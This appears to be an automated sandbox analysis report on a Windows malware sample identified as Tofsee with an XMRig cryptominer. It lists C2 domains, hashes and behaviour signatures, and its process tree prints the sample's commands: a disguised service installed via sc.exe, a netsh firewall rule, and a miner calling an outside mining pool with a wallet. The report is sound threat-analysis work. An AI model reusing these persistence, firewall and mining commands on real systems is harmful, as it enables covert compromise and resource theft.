Analysis

  • max time kernel
    145s
  • max time network
    156s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    26/10/2022, 17:19

General

  • Target
    file.exe
  • Size 217KB
  • Sample221026-vvtvmsgdc9
  • SHA256 63465a4f8b7f5fe22d67f0565433e942f0854e75686af85c484b178344afe419
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1708
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\amxmxxow\
      2⤵
        PID:1992
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\oekrwimb.exe" C:\Windows\SysWOW64\amxmxxow\
        2⤵
          PID:1980
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create amxmxxow binPath= "C:\Windows\SysWOW64\amxmxxow\oekrwimb.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1480
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description amxmxxow "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1084
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start amxmxxow
          2⤵
          • Launches sc.exe
          PID:1380
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1740
      • C:\Windows\SysWOW64\amxmxxow\oekrwimb.exe
        C:\Windows\SysWOW64\amxmxxow\oekrwimb.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1752
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1360
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1592

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            oekrwimb.exe

            • Path C:\Users\Admin\AppData\Local\Temp\oekrwimb.exe
            • Size 14.6MB
            • SHA256 3fc220a13b22dd05b6d409b2e0b4b467a1feeef68f9d82a55a9eedd9aeb1faf0
            • MD5 SHA1 SHA512 SSDEEP

            oekrwimb.exe

            • Path C:\Windows\SysWOW64\amxmxxow\oekrwimb.exe
            • Size 14.6MB
            • SHA256 3fc220a13b22dd05b6d409b2e0b4b467a1feeef68f9d82a55a9eedd9aeb1faf0
            • MD5 SHA1 SHA512 SSDEEP

            memory/1360-74-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1360-91-0x0000000000130000-0x0000000000135000-memory.dmp

            memory/1360-100-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1360-97-0x0000000000140000-0x0000000000147000-memory.dmp

            memory/1360-94-0x0000000005A10000-0x0000000005E1B000-memory.dmp

            memory/1360-88-0x00000000000B0000-0x00000000000C0000-memory.dmp

            memory/1360-85-0x00000000000A0000-0x00000000000A6000-memory.dmp

            memory/1360-81-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1360-72-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1360-82-0x0000000001AC0000-0x0000000001CCF000-memory.dmp

            memory/1592-103-0x0000000000340000-0x0000000000431000-memory.dmp

            memory/1592-101-0x0000000000340000-0x0000000000431000-memory.dmp

            memory/1708-58-0x0000000000400000-0x0000000000594000-memory.dmp

            memory/1708-67-0x0000000000400000-0x0000000000594000-memory.dmp

            memory/1708-66-0x000000000070B000-0x000000000071C000-memory.dmp

            memory/1708-56-0x000000000070B000-0x000000000071C000-memory.dmp

            memory/1708-57-0x0000000000220000-0x0000000000233000-memory.dmp

            memory/1708-54-0x0000000076121000-0x0000000076123000-memory.dmp

            memory/1752-80-0x0000000000400000-0x0000000000594000-memory.dmp

            memory/1752-71-0x0000000000400000-0x0000000000594000-memory.dmp

            memory/1752-70-0x00000000002CB000-0x00000000002DC000-memory.dmp

            memory/1752-77-0x00000000002CB000-0x00000000002DC000-memory.dmp